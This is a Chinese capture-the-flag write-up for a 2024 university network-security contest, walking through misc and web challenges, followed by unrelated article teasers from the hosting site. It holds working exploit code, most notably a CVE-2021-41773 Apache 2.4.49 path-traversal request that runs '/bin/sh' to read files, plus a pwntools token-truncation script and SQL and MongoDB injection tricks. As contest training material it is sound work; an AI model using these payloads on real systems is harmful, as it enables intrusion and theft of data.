2024高校网络安全管理运维赛wp

文章目录

  • misc
    • 签到
    • 钓鱼邮件识别
    • easyshell
    • SecretDB
    • Gateway
    • zip
    • Apache
    • f for r
  • web
    • phpsql
    • Messy Mongo

misc

签到

image-20240507010857687

image-20240506093754240

钓鱼邮件识别

两部分解base64,各一个flag

image-20240507002206175

后面没有什么地方有有用信息了,根据题目钓鱼邮件,可能第三段flag就跟DMARC、DKIM 和 SPF有关了什么是 DMARC、DKIM 和 SPF? | Cloudflare (cloudflare-cn.com)

先看DKIM部分kmille/dkim-verify: Verifying a DKIM-Signature by hand (github.com)

image-20240507004038123

解析一下主域名,得到提示有三段flag,估计就对应DMARC、DKIM 和 SPF三种方法了

image-20240507005438468

照着里面所说构造DKIM的域名

image-20240507004206186

image-20240507004231478

default._domainkey.foobar-edu-cn.com

拿到第二段flag

image-20240507005724673

_Kn0wH0wt0_

思路正确,接着照着文章分别构造DMARC跟SPF的域名

_dmarc.foobar-edu-cn.com
spf.foobar-edu-cn.com

image-20240507010548705

image-20240507010631563

拼一下

flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}}

easyshell

冰蝎默认密码

image-20240506220630490

下载了加密的temp.zip

image-20240506220952220

后一个

image-20240506221139274

读了secret2.txt

image-20240506221159572

image-20240506221234853

下载下来明文攻击直接打

image-20240506221631296

SecretDB

可以先用fqlite看一遍,大概就可以看出flag是根据sort排的,(当然这一步没有问题也不是很大)

image-20240506221730759

定位到数据部分之后,一眼看到flag数据,接着就是顺序问题了

image-20240506222209859

优先看g{,因为这俩在flag{uuid}显然只会出现一次。对比一下可以看出sort字段跟message字段就前后两字节的,人话:flag数据前一位就是对应顺序

image-20240506221907835

往后再定位一下l,会发现他前面对应是0x0F,肯定有问题。(上两图是比赛时已经改过了的)

再看后面的4}ab6deb数据对比前面数据位置会发现偏移了一下,应该是l对应的sort字段被删了,手动补个0x02即可

image-20240506222737756

with open('secret.db', 'rb') as f:data = f.read()[7879:8193]flag_dict = {}for i in range(0, len(data), 8):flag_dict[data[i]] = chr(data[i + 1])
flag = ''
for i in range(0, 42):if i not in flag_dict.keys():flag += '?'else:flag += flag_dict[i]
print(flag)#?lag{f6291bf0-923c-4ba6??2d7-ffabba4e8f0b}

第一个?肯定是f不用管了,仔细核对原来数据发现还有个-也有一字节的偏移,位置对应是0x17即第二个问号的位置

image-20240506223800522

因此可以得到,剩一个位置不知道

flag{f6291bf0-923c-4ba6-?2d7-ffabba4e8f0b}

0x18也没有找到后面跟着有效数据的,猜测该数据是被删除了,直接爆破flag即可,最终:

flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

Gateway

/cgi-bin/baseinfoSet.json里一眼密码

简单处理一下

a='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129'
print(' '.join(a.split('&')))

image-20240506224609845

预期解估计是

a='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129'
for i in a.split('&'):tmp = chr(int(i))if tmp.isdigit():print(tmp,end='')else:print(chr(int(i)-4),end='')

2b题,下一道

zip

源码只比对了flag{,直接拿[del]去截断,注意zip和unzip部分token只需要发64位即可

from pwn import *
r = remote('prob03.contest.pku.edu.cn', 10003)
token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'r.sendline(token.encode())
recv = r.recvuntil('your token:')
print(recv.decode())r.sendline(token[:64].encode())
recv = r.recvuntil('your flag:')
print(recv.decode())exp = ('flag{' + chr(127)*5 + token[:64]).encode()
r.sendline(exp)
r.interactive()

image-20240506230034358

Apache

apache版本2.4.49

image-20240507003301067

源码

image-20240507003225786

构造一下POST包,CVE-2021-41773直接打

import requestsexp = f'''
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 1.1.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Connection: closeecho;cat /flag
'''.replace('\n','\r\n')url = r'https://prob01-2gnkdedc.contest.pku.edu.cn/nc'data = f'''------WebKitFormBoundaryaaaaa
Content-Disposition: form-data; name="port"80
------WebKitFormBoundaryaaaaa
Content-Disposition: form-data; name="data"{exp}
------WebKitFormBoundaryaaaaa--
'''
head = {'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundaryaaaaa',
}
test = requests.post(url,data=data,headers=head).text
print(test)

f for r

GEEKCON 原题 https://qanux.github.io/2024/04/22/geek2024/index.html

from ctypes import (windll, wintypes, c_uint64, cast, POINTER, Union, c_ubyte,LittleEndianStructure, byref, c_size_t)
import zlib
# types and flags
DELTA_FLAG_TYPE             = c_uint64
DELTA_FLAG_NONE             = 0x00000000
DELTA_APPLY_FLAG_ALLOW_PA19 = 0x00000001
# structures
class DELTA_INPUT(LittleEndianStructure):class U1(Union):_fields_ = [('lpcStart', wintypes.LPVOID),('lpStart', wintypes.LPVOID)]_anonymous_ = ('u1',)_fields_ = [('u1', U1),('uSize', c_size_t),('Editable', wintypes.BOOL)]
class DELTA_OUTPUT(LittleEndianStructure):_fields_ = [('lpStart', wintypes.LPVOID),('uSize', c_size_t)]
# functions
ApplyDeltaB = windll.msdelta.ApplyDeltaB
ApplyDeltaB.argtypes = [DELTA_FLAG_TYPE, DELTA_INPUT, DELTA_INPUT,POINTER(DELTA_OUTPUT)]
ApplyDeltaB.rettype = wintypes.BOOL
DeltaFree = windll.msdelta.DeltaFree
DeltaFree.argtypes = [wintypes.LPVOID]
DeltaFree.rettype = wintypes.BOOL
gle = windll.kernel32.GetLastError
def apply_patchfile_to_buffer(buf, buflen, patchpath, legacy):with open(patchpath, 'rb') as patch:patch_contents = patch.read()# most (all?) patches (Windows Update MSU) come with a CRC32 prepended to thefile# we don't really care if it is valid or not, we just need to remove it if itis there# we only need to calculate if the file starts with PA30 or PA19 and then hasPA30 or PA19 after itmagic = [b"PA30"]if legacy:magic.append(b"PA19")if patch_contents[:4] in magic and patch_contents[4:][:4] in magic:# we have to validate and strip the crc instead of just stripping itcrc = int.from_bytes(patch_contents[:4], 'little')if zlib.crc32(patch_contents[4:]) == crc:# crc is valid, strip it, else don'tpatch_contents = patch_contents[4:]elif patch_contents[4:][:4] in magic:# validate the header strip the CRC, we don't care about itpatch_contents = patch_contents[4:]# check if there is just no CRC at allelif patch_contents[:4] not in magic:# this just isn't validraise Exception("Patch file is invalid")applyflags = DELTA_APPLY_FLAG_ALLOW_PA19 if legacy else DELTA_FLAG_NONEdd = DELTA_INPUT()ds = DELTA_INPUT()dout = DELTA_OUTPUT()ds.lpcStart = bufds.uSize = buflends.Editable = Falsedd.lpcStart = cast(patch_contents, wintypes.LPVOID)dd.uSize = len(patch_contents)dd.Editable = Falsestatus = ApplyDeltaB(applyflags, ds, dd, byref(dout))if status == 0:raise Exception("Patch {} failed with error {}".format(patchpath, gle()))return (dout.lpStart, dout.uSize)
if __name__ == '__main__':import sysimport base64import hashlibimport argparseap = argparse.ArgumentParser()mode = ap.add_mutually_exclusive_group(required=True)output = ap.add_mutually_exclusive_group(required=True)mode.add_argument("-i", "--input-file",help="File to patch (forward or reverse)")mode.add_argument("-n", "--null", action="store_true", default=False,help="Create the output file from a null diff ""(null diff must be the first one specified)")output.add_argument("-o", "--output-file",help="Destination to write patched file to")output.add_argument("-d", "--dry-run", action="store_true",help="Don't write patch, just see if it would patch""correctly and get the resulting hash")ap.add_argument("-l", "--legacy", action='store_true', default=False,help="Let the API use the PA19 legacy API (if required)")ap.add_argument("patches", nargs='+', help="Patches to apply")args = ap.parse_args()if not args.dry_run and not args.output_file:print("Either specify -d or -o", file=sys.stderr)ap.print_help()sys.exit(1)if args.null:inbuf = b""else:with open(args.input_file, 'rb') as r:inbuf = r.read()buf = cast(inbuf, wintypes.LPVOID)n = len(inbuf)to_free = []try:for patch in args.patches:buf, n = apply_patchfile_to_buffer(buf, n, patch, args.legacy)to_free.append(buf)outbuf = bytes((c_ubyte*n).from_address(buf))if not args.dry_run:with open(args.output_file, 'wb') as w:w.write(outbuf)finally:for buf in to_free:DeltaFree(buf)finalhash = hashlib.sha256(outbuf)print("Applied {} patch{} successfully".format(len(args.patches), "es" if len(args.patches) > 1 else ""))print("Final hash: {}".format(base64.b64encode(finalhash.digest()).decode()))

主机、虚拟机试了4种不同curl版本才出来

image-20240507001406831

其他版本都报错

image-20240507001735492

web

phpsql

单引号闭合万能密码绕过

image-20240506233640397

image-20240506233728496

Messy Mongo

给了login的patch,没一点过滤,考虑普通用户登陆之后新建一个ADMIN,然后直接利用$toLower去覆盖admin的mongo集合

image-20240506234740788

image-20240506235310620

image-20240506235657934

image-20240506235713780

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/833362.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c#实现音乐的“vip播放功能”

文章目录 前言1. c#窗体2. 功能3. 具体实现3.1 添加文件3.2 音乐播放3.3 其他功能 4. 整体代码和窗口5. 依赖的第三方库 前言 最近在QQ音乐里重温周杰伦的歌,觉得好听到耳朵怀孕,兴起想要下载下来反复听,发现QQ音乐VIP歌曲下载下来的格式居然…

基于SSM的“游戏交易网站”的设计与实现(源码+数据库+文档+PPT)

基于SSM的“游戏交易网站”的设计与实现(源码数据库文档PPT) 开发语言:Java 数据库:MySQL 技术:SSM 工具:IDEA/Ecilpse、Navicat、Maven 系统展示 游戏交易网站功能结构图 游戏交易网站首页 游戏交易网站用户注册…

Android iw 工具

代码位置:Android/external/iw 查看支持的命令: console:/ # iw help Usage: iw [options] command Options:--debug enable netlink debugging--version show version (4.1) Commands:help [command]Print usage for all or a specific command, e.g."…

人工智能|机器学习——强大的 Scikit-learn 可视化让模型说话

一、显示 API 简介 使用 utils.discovery.all_displays 查找可用的 API。 Sklearn 的utils.discovery.all_displays可以让你看到哪些类可以使用。 from sklearn.utils.discovery import all_displays displays all_displays() displays Scikit-learn (sklearn) 总是会在新版本…

无人零售,重塑购物新纪元

在这个快节奏的时代,科技的每一次跃进都在悄无声息地改变着我们的生活方式。而今,无人零售正以雷霆之势,颠覆传统购物模式,为我们带来前所未有的便捷与智能体验。想知道无人零售如何彻底改变我们的购物方式吗?跟随我&a…

市场营销的酒店营销策略研究意义

在市场经济条件下,市场营销策略已成为企业经营管理中最重要的组成部分,其在企业管理中的地位日益显现出来。 然而,由于酒店营销环境的特殊性,酒店营销策略研究一直是咱们从业者研究的热点之一。 对于酒店营销策略的研究&#xf…

uts插件开发-继uniapp原生插件nativeplugins,uts插件开发可直接操作原生安卓sdk等,支持uniappx,支持源码授权价格等等

1.创建uts项目 2.创建uts插件cf-takepic 3.在index.uts中编写原生安卓代码,首先定义一个函数方法,在页面中看是否可引用成功 uts函数代码 /*** 拍照函数*/ export const takepicfunction():void{console.log("11111111") } index.vue代码 …

详细分析Mybatis与MybatisPlus中分页查询的差异(附Demo)

目录 前言1. Mybatis2. MybatisPlus3. 实战 前言 更多的知识点推荐阅读: 【Java项目】实战CRUD的功能整理(持续更新)java框架 零基础从入门到精通的学习路线 附开源项目面经等(超全) 本章节主要以Demo为例&#xff…

C# winform 连接mysql数据库(navicat)

1.解决方案资源管理器->右键->管理NuGet程序包->搜索, 安装Mysql.Data 2.解决方案资源管理器->右键->添加->引用->浏览-> C:\Program Files (x86)\MySQL\MySQL Installer for Windows ->选择->MySql.Data.dll 3.解决方案资源管理器…

深入剖析Tomcat(七) 日志记录器

在看原书第六章之前,一直觉得Tomcat记日志的架构可能是个“有点东西”的东西。在看了第六章之后呢,额… 就这?不甘心的我又翻了翻logback与新版tomcat的源码,额…,日志架构原来也没那么神秘。本篇文章先过一遍原书内容…

Github 2024-05-07 开源项目日报 Tp10

根据Github Trendings的统计,今日(2024-05-07统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量TypeScript项目4Jupyter Notebook项目2Python项目1Batchfile项目1非开发语言项目1Java项目1HTML项目1C#项目1从零开始构建你喜爱的技术 创建周期…

k8s 资源文件参数介绍

Kubernetes资源文件yaml参数介绍 yaml 介绍 yaml 是一个类似 XML、JSON 的标记性语言。它强调以数据为中心,并不是以标识语言为重点例如 SpringBoot 的配置文件 application.yml 也是一个 yaml 格式的文件 语法格式 通过缩进表示层级关系不能使用tab进行缩进&am…

金三银四面试题(二十五):策略模式知多少?

什么是策略模式 策略模式(Strategy Pattern)是一种行为型设计模式,旨在定义一系列算法,将每个算法封装到一个独立的类中,使它们可以互换。策略模式让算法的变化独立于使用它们的客户端,使得客户端可以根据…

二叉搜索树相关

二叉搜索树 定义:对二叉搜索树的一些操作基本结构Insert操作Find操作Erase操作 InOrder遍历二叉树操作模拟字典模拟统计次数 定义: 二叉搜索树又称二叉排序树,它或者是一棵空树,或者是具有以下性质的二叉树:若它的左子树不为空&a…

MacOS快速安装FFmpeg,并使用FFmpeg转换视频

前言:目前正在接入flv视频流,但是没有一个合适的flv视频流地址。网上提供的flv也都不是H264AAC(一种视频和音频编解码器组合),所以想通过fmpeg来将flv文件转换为H264AAC。 一、MacOS环境 博主的MacOS环境(…

初始C++(一)

目录 前言: 命名空间: 总结: 前言: C语言学好了,现在当然要进阶了,那么就是从C开始。 C兼容C,支持其中90%的语法。可能有很多同学听说过C#,C#和C没有关系,是微软研究出…

Mintegral引领短剧行业新风尚:广告变现策略助力出海应用高效增长

短剧,一颗正在冉冉升起的新星,如今成为了影视行业的新风口。《2023短剧行业研究报告》显示,2023年短剧市场规模达到373.9亿元,同比增长267.65%,预计2024年将超过500亿元。近年来,政策出台、供需促进及应用出…

什么是Facebook付费广告营销?

Facebook作为全球最大的社交平台之一,成为了跨境卖家不可或缺的营销阵地。它不仅拥有庞大的用户基数,还提供了丰富的广告工具和社群互动功能,让商家能够精准触达目标市场,提升品牌影响力。云衔科技通过Facebook付费广告营销的专业…

ODOO17数据库安全策略一(ODOO17 Database Security Policy I)

ODOO17作为ERP软件,其核心优势在于数据安全。凭借强大的原生安全机制及灵活的配置,确保数据安全无忧: ODOO17, as an ERP software, boasts its significant advantage in exceptional data security performance. It effectively ensures wo…

DirClass

DirClass 通过分析,发现当接收到DirClass远控指令后,样本将返回指定目录的目录信息,返回数据中的远控指令为0x2。 相关代码截图如下: DelDir 通过分析,发现当接收到DelDir远控指令后,样本将删除指定目录…